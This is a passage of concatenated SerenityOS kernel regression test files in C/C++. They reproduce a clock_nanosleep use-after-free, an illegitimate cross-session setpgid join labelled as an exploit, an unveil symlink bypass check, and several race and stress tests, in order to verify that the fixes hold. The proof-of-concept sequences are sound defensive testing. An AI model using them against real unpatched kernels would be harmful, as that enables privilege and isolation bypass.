perror("cleanup");
return 1;
}
}
printf("PASS\n");
return 0;
}

View file

@ -0,0 +1,135 @@
/*
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <assert.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <time.h>
#include <unistd.h>
static void signal_printer(int)
{
// no-op
}
typedef struct yank_shared_t {
timespec* remaining_sleep;
// TODO: Be nice and use thread ID
//pthread_t sleeper_thread;
} yank_shared_t;
static void* yanker_fn(void* shared_)
{
yank_shared_t* shared = static_cast<yank_shared_t*>(shared_);
timespec requested_sleep = { 1, 0 };
int rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
if (rc != 0) {
printf("Yanker: Failed during sleep: %d\n", rc);
return nullptr;
}
delete shared->remaining_sleep; // T2
// Send SIGUSR1.
// Use pthread:
// pthread_kill(somewhere, SIGUSR1);
// But wait! pthread_kill isn't implemented yet, and therefore causes
// a linker error. It also looks like the corresponding syscall is missing.
// Use normal IPC syscall:
// kill(getpid(), SIGUSR1);
// But wait! If destination_pid == own_pid, then the signal is sent
// to the calling thread, *no matter what*.
// So, we have to go the very ugly route of fork():
// (Thank goodness this is only a demo of a kernel bug!)
pid_t pid_to_kill = getpid();
pid_t child_pid = fork();
if (child_pid < 0) {
printf("Yanker: Fork failed: %d\n", child_pid);
pthread_exit(nullptr); // See below
return nullptr;
}
if (child_pid > 0) {
// Success. Terminate quickly. T3
// FIXME: LibPthread bug: returning during normal operation causes nullptr deref.
// Workaround: Exit manually.
pthread_exit(nullptr);
return nullptr;
}
// Give parent *thread* a moment to die.
requested_sleep = { 1, 0 };
rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
if (rc != 0) {
printf("Yanker-child: Failed during sleep: %d\n", rc);
return nullptr;
}
// Prod the parent *process*
kill(pid_to_kill, SIGUSR1); // T4
// Wait a moment, to ensure the log output is as well-separated as possible.
requested_sleep = { 2, 0 };
rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
if (rc != 0) {
printf("Yanker-child: Failed during after-sleep: %d\n", rc);
return nullptr;
}
pthread_exit(nullptr);
assert(false);
// FIXME: return nullptr;
}
int main()
{
// Chronological order:
// T0: Main thread allocates region for the outvalue of clock_nanosleep
// T1: Main thread enters clock_nanosleep
// T2: Side thread deallocates that region
// T3: Side thread dies
// T4: A different process sends SIGUSR1, waking up the main thread,
// forcing the kernel to write to the deallocated Region.
// I'm sorry that both a side *thread* and a side *process* are necessary.
// Maybe in the future this test can be simplified, see above.
yank_shared_t shared = { nullptr };
shared.remaining_sleep = new timespec({ 0xbad, 0xf00d }); // T0
pthread_t yanker_thread;
int rc = pthread_create(&yanker_thread, nullptr, yanker_fn, &shared);
if (rc != 0) {
perror("pthread");
printf("FAIL\n");
return 1;
}
// Set an action for SIGUSR1, so that the sleep can be interrupted:
signal(SIGUSR1, signal_printer);
// T1: Go to sleep.
const timespec requested_sleep = { 3, 0 };
rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, shared.remaining_sleep);
// Now we are beyond T4.
if (rc == 0) {
// We somehow weren't interrupted. Bad.
printf("Not interrupted.\n");
printf("FAIL\n");
return 1;
}
// nanosleep was interrupted and the kernel didn't crash. Good!
printf("PASS\n");
return 0;
}

View file

@ -0,0 +1,42 @@
/*
* Copyright (c) 2018-2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <pthread.h>
#include <stdio.h>
#include <sys/select.h>
#include <unistd.h>
int pipefds[2];
int main(int, char**)
{
pipe(pipefds);
pthread_t tid;
pthread_create(
&tid, nullptr, [](void*) -> void* {
sleep(1);
printf("ST: close()\n");
close(pipefds[1]);
pthread_exit(nullptr);
return nullptr;
},
nullptr);
fd_set rfds;
FD_ZERO(&rfds);
FD_SET(pipefds[1], &rfds);
printf("MT: select()\n");
int rc = select(pipefds[1] + 1, &rfds, nullptr, nullptr, nullptr);
if (rc < 0) {
perror("select");
return 1;
}
printf("ok\n");
return 0;
}

View file

@ -0,0 +1,27 @@
/*
* Copyright (c) 2018-2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <pthread.h>
#include <stdio.h>
#include <sys/select.h>
#include <unistd.h>
int main(int, char**)
{
pthread_t tid;
pthread_create(
&tid, nullptr, [](void*) -> void* {
sleep(1);
asm volatile("ud2");
return nullptr;
},
nullptr);
pthread_join(tid, nullptr);
printf("ok\n");
return 0;
}

View file

@ -0,0 +1,22 @@
/*
* Copyright (c) 2018-2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <sys/stat.h>
#include <unistd.h>
int main()
{
if (!fork()) {
for (;;) {
mkdir("/tmp/x", 0666);
rmdir("/tmp/x");
}
}
for (;;) {
chdir("/tmp/x");
}
return 0;
}

View file

@ -0,0 +1,76 @@
/*
* Copyright (c) 2018-2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <cassert>
#include <cstring>
#include <ctime>
#include <errno.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
struct worker_t {
const char* name;
int count;
pthread_t thread;
pthread_mutex_t lock;
pthread_cond_t cond;
long int wait_time;
};
static void* run_worker(void* args)
{
struct timespec time_to_wait = { 0, 0 };
worker_t* worker = (worker_t*)args;
worker->count = 0;
while (worker->count < 25) {
time_to_wait.tv_sec = time(nullptr) + worker->wait_time;
pthread_mutex_lock(&worker->lock);
int rc = pthread_cond_timedwait(&worker->cond, &worker->lock, &time_to_wait);
// Validate return code is always timed out.
assert(rc == -1);
assert(errno == ETIMEDOUT);
worker->count++;
printf("Increase worker[%s] count to [%d]\n", worker->name, worker->count);
pthread_mutex_unlock(&worker->lock);
}
return nullptr;
}
static void init_worker(worker_t* worker, const char* name, long int wait_time)
{
worker->name = name;
worker->wait_time = wait_time;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE);
pthread_mutex_init(&worker->lock, nullptr);
pthread_cond_init(&worker->cond, nullptr);
pthread_create(&worker->thread, &attr, &run_worker, (void*)worker);
pthread_attr_destroy(&attr);
}
int main()
{
worker_t worker_a;
init_worker(&worker_a, "A", 2L);
worker_t worker_b;
init_worker(&worker_b, "B", 4L);
pthread_join(worker_a.thread, nullptr);
pthread_join(worker_b.thread, nullptr);
return EXIT_SUCCESS;
}

View file

@ -0,0 +1,276 @@
/*
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Assertions.h>
#include <AK/Format.h>
#include <fcntl.h>
#include <serenity.h>
#include <stdio.h>
#include <unistd.h>
/*
* Bug:
* A process can join a process group across sessions if both process groups
* do not have a leader (anymore). This can be used to join a session
* illegitimately. (Or, more harmlessly, to change the own PGID to an unused
* but arbitrary one, for example the PGID 0xDEADBEEF or the one that's going
* to be your program's session ID in the short-term future.)
*
* So what needs to happen:
* - There is session SA
* - There is session SB
* - There is a Process Group PGA in SA
* - There is a Process Group PGB in SB
* - PGA does not have a leader
* - PGB does not have a leader
* - There is a Process PA2 in PGA
* - There is a Process PB2 in PGB
* - PA2 calls setpgid(0, PGB)
* - Now PA2 and PB2 are in the same processgroup, but not in the same session. WHAAAAT! :^)
*
* Here's how to demonstrate the bug:
* - Time 0: PX forks into PA1
* - Time 1: PA1 creates a new session (SA) and pgrp (PGA)
* - Time 2: PA1 forks into PA2
* - Time 3: PA1 dies (PGA now has no leader)
* Note: PA2 never dies. Too much hassle.
* - Time 4: PX forks into PB1
* - Time 5: PB1 creates a new session (SB) and pgrp (PGB)
* - Time 6: PB1 forks into PB2
* - Time 7: PB1 dies (PGB now has no leader)
* - Time 8: PB2 calls pgrp(0, PGA)
* Note: PB2 writes "1" (exploit successful) or "0" (bug is fixed) to a pipe
* - Time 9: If PX hasn't received any message yet through the pipe, it declares the test as failed (for lack of knowledge). Otherwise, it outputs accordingly.
*/
static constexpr useconds_t STEP_SIZE = 1100000;
static void fork_into(void (*fn)(void*), void* arg)
{
const pid_t rc = fork();
if (rc < 0) {
perror("fork");
exit(1);
}
if (rc > 0) {
const int disown_rc = disown(rc);
if (disown_rc < 0) {
perror("disown");
dbgln("This might cause PA1 to remain in the Zombie state, "
"and thus in the process list, meaning the leader is "
"still 'alive' for the purpose of lookup.");
}
return;
}
fn(arg);
dbgln("child finished (?)");
exit(1);
}
static void sleep_steps(useconds_t steps)
{
const int rc = usleep(steps * STEP_SIZE);
if (rc < 0) {
perror("usleep");
VERIFY_NOT_REACHED();
}
}
static void run_pa1(void*);
static void run_pa2(void*);
static void run_pb1(void*);
static void run_pb2(void*);
int main(int, char**)
{
// This entire function is the entirety of process PX.
// Time 0: PX forks into PA1
int fds[2];
// Serenity doesn't support O_NONBLOCK for pipes yet, so
// sadly the test will hang if something goes wrong.
if (pipe2(fds, 0) < 0) {
perror("pipe");
exit(1);
}
dbgln("PX starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
dbgln("PX forks into PA1");
fork_into(run_pa1, nullptr);
sleep_steps(4);
// Time 4: PX forks into PB1
dbgln("PX forks into PB1");
fork_into(run_pb1, &(fds[1]));
sleep_steps(5);
// Time 9: If PX hasn't received any message yet through the pipe, it declares
// the test as failed (for lack of knowledge). Otherwise, it outputs accordingly.
dbgln("PX reads from pipe");
unsigned char buf = 42;
ssize_t rc = read(fds[0], &buf, 1);
if (rc == 0) {
// In fact, we only reach this branch when *all* processes have died,
// including this one. So … should be unreachable.
printf("DOUBLE FAIL: pipe is closed, but we still have it open.\n"
"See debug log, some process probably crashed.\n");
exit(1);
}
if (rc < 0) {
if (errno == EAGAIN) {
printf("FAIL: pipe has no data. See debug log, some process os probably hanging.\n");
} else {
perror("read (unknown)");
}
exit(1);
}
VERIFY(rc == 1);
if (buf == 0) {
printf("PASS\n");
return 0;
}
if (buf == 1) {
printf("FAIL (exploit successful)\n");
return 1;
}
printf("FAIL, for some reason %c\n", buf);
return 1;
}
static void run_pa1(void*)
{
// Time 0: PX forks into PA1
sleep_steps(1);
// Time 1: PA1 creates a new session (SA) and pgrp (PGA)
dbgln("PA1 starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
dbgln("PA1 calls setsid()");
int rc = setsid();
if (rc < 0) {
perror("setsid (PA)");
VERIFY_NOT_REACHED();
}
dbgln("PA1 did setsid() -> PGA={}, SA={}, yay!", rc, getsid(0));
sleep_steps(1);
// Time 2: PA1 forks into PA2
dbgln("PA1 forks into PA2");
fork_into(run_pa2, nullptr);
sleep_steps(1);
// Time 3: PA1 dies (PGA now has no leader)
dbgln("PA1 dies. You should see a 'Reaped unparented process' "
"message with my ID next, OR THIS TEST IS MEANINGLESS "
"(see fork_into()).");
exit(0);
}
static void run_pa2(void*)
{
// Time 2: PA1 forks into PA2
dbgln("PA2 starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
sleep_steps(18);
// pa_2 never *does* anything.
dbgln("PA2 dies from boredom.");
exit(1);
}
static void run_pb1(void* pipe_fd_ptr)
{
// Time 4: PX forks into PB1
sleep_steps(1);
// Time 5: PB1 creates a new session (SB) and pgrp (PGB)
dbgln("PB1 starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
dbgln("PB1 calls setsid()");
int rc = setsid();
if (rc < 0) {
perror("setsid (PB)");
VERIFY_NOT_REACHED();
}
dbgln("PB1 did setsid() -> PGB={}, SB={}, yay!", rc, getsid(0));
sleep_steps(1);
// Time 6: PB1 forks into PB2
dbgln("PB1 forks into PB2");
fork_into(run_pb2, pipe_fd_ptr);
sleep_steps(1);
// Time 7: PB1 dies (PGB now has no leader)
dbgln("PB1 dies. You should see a 'Reaped unparented process' "
"message with my ID next, OR THIS TEST IS MEANINGLESS "
"(see fork_into()).");
exit(0);
}
static void simulate_sid_from_pgid(pid_t pgid)
{
pid_t rc = getpgid(pgid); // Same confusion as in the Kernel
int saved_errno = errno;
if (rc < 0 && saved_errno == ESRCH) {
dbgln("The old get_sid_from_pgid({}) would return -1", pgid);
} else if (rc >= 0) {
dbgln("FAIL: Process {} still exists?! PGID is {}.", pgid, rc);
} else {
perror("pgid (probably fail)");
}
}
static void run_pb2(void* pipe_fd_ptr)
{
// Time 6: PB1 forks into PB2
sleep_steps(2);
// Time 8: PB2 calls pgrp(0, PGA)
// Note: PB2 writes "1" (exploit successful) or "0" (bug is fixed) to a pipe
dbgln("PB2 starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
dbgln("PB2 calls pgrp(0, PGA)");
int pga = getpid() - 3;
dbgln("PB2: Actually, what is PGA? I guess it's {}?", pga);
simulate_sid_from_pgid(pga);
int rc = setpgid(0, pga);
unsigned char to_write = 123;
if (rc == 0) {
dbgln("PB2: setgpid SUCCESSFUL! CHANGED PGROUP!");
to_write = 1;
} else {
VERIFY(rc == -1);
switch (errno) {
case EACCES:
dbgln("PB2: Failed with EACCES. Huh?!");
to_write = 101;
break;
case EINVAL:
dbgln("PB2: Failed with EINVAL. Huh?!");
to_write = 102;
break;
case ESRCH:
dbgln("PB2: Failed with ESRCH. Huh?!");
to_write = 103;
break;
case EPERM:
dbgln("PB2: Failed with EPERM. Aww, no exploit today :^)");
to_write = 0;
break;
default:
dbgln("PB2: Failed with errno={}?!", errno);
perror("setpgid");
to_write = 104;
break;
}
}
dbgln("PB2 ends with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
int* pipe_fd = static_cast<int*>(pipe_fd_ptr);
VERIFY(*pipe_fd);
rc = write(*pipe_fd, &to_write, 1);
if (rc != 1) {
dbgln("Wrote only {} bytes instead of 1?!", rc);
exit(1);
}
exit(0);
}

View file

@ -0,0 +1,48 @@
/*
* Copyright (c) 2021, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Random.h>
#include <LibCore/ArgsParser.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/stat.h>
#include <unistd.h>
int main(int argc, char** argv)
{
const char* target = nullptr;
int max_file_size = 1024 * 1024;
int count = 1024;
Core::ArgsParser args_parser;
args_parser.add_option(max_file_size, "Maximum file size to generate", "max-size", 's', "size");
args_parser.add_option(count, "Number of truncations to run", "number", 'n', "number");
args_parser.add_positional_argument(target, "Target file path", "target");
args_parser.parse(argc, argv);
int fd = creat(target, 0666);
if (fd < 0) {
perror("Couldn't create target file");
return EXIT_FAILURE;
}
close(fd);
for (int i = 0; i < count; i++) {
auto new_file_size = AK::get_random<uint64_t>() % (max_file_size + 1);
printf("(%d/%d)\tTruncating to %" PRIu64 " bytes...\n", i + 1, count, new_file_size);
if (truncate(target, new_file_size) < 0) {
perror("Couldn't truncate target file");
return EXIT_FAILURE;
}
}
if (unlink(target) < 0) {
perror("Couldn't remove target file");
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}

View file

@ -0,0 +1,155 @@
/*
* Copyright (c) 2021, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Random.h>
#include <LibCore/ArgsParser.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
bool verify_block(int fd, int seed, off_t block, AK::ByteBuffer& buffer);
bool write_block(int fd, int seed, off_t block, AK::ByteBuffer& buffer);
bool verify_block(int fd, int seed, off_t block, AK::ByteBuffer& buffer)
{
auto offset = block * buffer.size();
auto rs = lseek(fd, offset, SEEK_SET);
if (rs < 0) {
fprintf(stderr, "Couldn't seek to block %" PRIi64 " (offset %" PRIi64 ") while verifying: %s\n", block, offset, strerror(errno));
return false;
}
auto rw = read(fd, buffer.data(), buffer.size());
if (rw != static_cast<int>(buffer.size())) {
fprintf(stderr, "Failure to read block %" PRIi64 ": %s\n", block, strerror(errno));
return false;
}
srand((seed + 1) * (block + 1));
for (size_t i = 0; i < buffer.size(); i++) {
if (buffer[i] != rand() % 256) {
fprintf(stderr, "Discrepancy detected at block %" PRIi64 " offset %zd\n", block, i);
return false;
}
}
return true;
}
bool write_block(int fd, int seed, off_t block, AK::ByteBuffer& buffer)
{
auto offset = block * buffer.size();
auto rs = lseek(fd, offset, SEEK_SET);
if (rs < 0) {
fprintf(stderr, "Couldn't seek to block %" PRIi64 " (offset %" PRIi64 ") while verifying: %s\n", block, offset, strerror(errno));
return false;
}
srand((seed + 1) * (block + 1));
for (size_t i = 0; i < buffer.size(); i++)
buffer[i] = rand();
auto rw = write(fd, buffer.data(), buffer.size());
if (rw != static_cast<int>(buffer.size())) {
fprintf(stderr, "Failure to write block %" PRIi64 ": %s\n", block, strerror(errno));
return false;
}
return true;
}
int main(int argc, char** argv)
{
const char* target = nullptr;
int min_block_offset = 0;
int block_length = 2048;
int block_size = 512;
int count = 1024;
int rng_seed = 0;
bool paranoid_mode = false;
bool random_mode = false;
bool stop_mode = false;
bool uninitialized_mode = false;
Core::ArgsParser args_parser;
args_parser.add_option(min_block_offset, "Minimum block offset to consider", "min-offset", 'o', "size");
args_parser.add_option(block_length, "Number of blocks to consider", "length", 's', "size");
args_parser.add_option(block_size, "Block size", "block-size", 'b', "size");
args_parser.add_option(count, "Number of write/read cycles to run", "number", 'n', "number");
args_parser.add_option(rng_seed, "Random number generator seed", "seed", 'S', "number");
args_parser.add_option(paranoid_mode, "Check entire range for consistency after each write", "paranoid", 'p');
args_parser.add_option(random_mode, "Write one block inside range at random", "random", 'r');
args_parser.add_option(stop_mode, "Stop after first error", "abort-on-error", 'a');
args_parser.add_option(uninitialized_mode, "Don't pre-initialize block range", "uninitialized", 'u');
args_parser.add_positional_argument(target, "Target device/file path", "target");
args_parser.parse(argc, argv);
auto buffer = AK::ByteBuffer::create_zeroed(block_size);
int fd = open(target, O_CREAT | O_RDWR, 0666);
if (fd < 0) {
perror("Couldn't create target file");
return EXIT_FAILURE;
}
if (!uninitialized_mode) {
int old_percent = -100;
for (int i = min_block_offset; i < min_block_offset + block_length; i++) {
int percent;
if (block_length <= 1)
percent = 100;
else
percent = 100 * (i - min_block_offset) / (block_length - 1);
if (old_percent != percent) {
printf("Pre-initializing entire block range (%3d%%)...\n", percent);
old_percent = percent;
}
if (!write_block(fd, rng_seed, i, buffer))
return EXIT_FAILURE;
}
}
int r = EXIT_SUCCESS;
for (int i = 0; i < count; i++) {
printf("(%d/%d)\tPass %d...\n", i + 1, count, i + 1);
for (int j = min_block_offset; j < min_block_offset + block_length; j++) {
off_t block;
if (random_mode)
while ((block = AK::get_random<off_t>()) < 0)
;
else
block = j;
block = min_block_offset + block % block_length;
if (paranoid_mode) {
for (int k = min_block_offset; j < min_block_offset + block_length; j++) {
if (!verify_block(fd, rng_seed, k, buffer)) {
if (stop_mode)
return EXIT_FAILURE;
else
r = EXIT_FAILURE;
}
}
} else {
if (!verify_block(fd, rng_seed, block, buffer)) {
if (stop_mode)
return EXIT_FAILURE;
else
r = EXIT_FAILURE;
}
}
if (!write_block(fd, rng_seed, block, buffer)) {
if (stop_mode)
return EXIT_FAILURE;
else
r = EXIT_FAILURE;
}
}
}
close(fd);
return r;
}

View file

@ -0,0 +1,41 @@
/*
* Copyright (c) 2018-2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <pthread.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int pipefds[2];
int main(int, char**)
{
pipe(pipefds);
pthread_t tid;
pthread_create(
&tid, nullptr, [](void*) -> void* {
sleep(1);
printf("Second thread closing pipes!\n");
close(pipefds[0]);
close(pipefds[1]);
pthread_exit(nullptr);
return nullptr;
},
nullptr);
printf("First thread doing a blocking read from pipe...\n");
char buffer[16];
ssize_t nread = read(pipefds[0], buffer, sizeof(buffer));
if (nread != 0) {
printf("FAIL, read %zd bytes from pipe\n", nread);
return 1;
}
printf("PASS\n");
return 0;
}

View file

@ -0,0 +1,76 @@
/*
* Copyright (c) 2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <fcntl.h>
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
int main()
{
rmdir("/tmp/foo/1");
rmdir("/tmp/foo");
unlink("/tmp/bar");
if (mkdir("/tmp/foo", 0755) < 0) {
perror("mkdir");
return 1;
}
if (mkdir("/tmp/foo/1", 0755) < 0) {
perror("mkdir");
return 1;
}
if (symlink("/tmp/foo", "/tmp/bar")) {
perror("symlink");
return 1;
}
if (unveil("/tmp/foo", "r") < 0) {
perror("unveil");
return 1;
}
if (unveil(nullptr, nullptr) < 0) {
perror("unveil");
return 1;
}
int fd = open("/tmp/foo/1", O_RDONLY);
if (fd < 0) {
perror("open");
return 1;
}
close(fd);
fd = open("/tmp/bar/1", O_RDONLY);
if (fd >= 0) {
fprintf(stderr, "FAIL, symlink was not unveiled\n");
return 1;
}
if (chdir("/tmp")) {
perror("chdir");
return 1;
}
fd = open("./foo/1", O_RDONLY);
if (fd < 0) {
perror("open");
return 1;
}
close(fd);
fd = open("./bar/1", O_RDONLY);
if (fd >= 0) {
fprintf(stderr, "FAIL, symlink was not unveiled\n");
return 1;
}
printf("PASS\n");
return 0;
}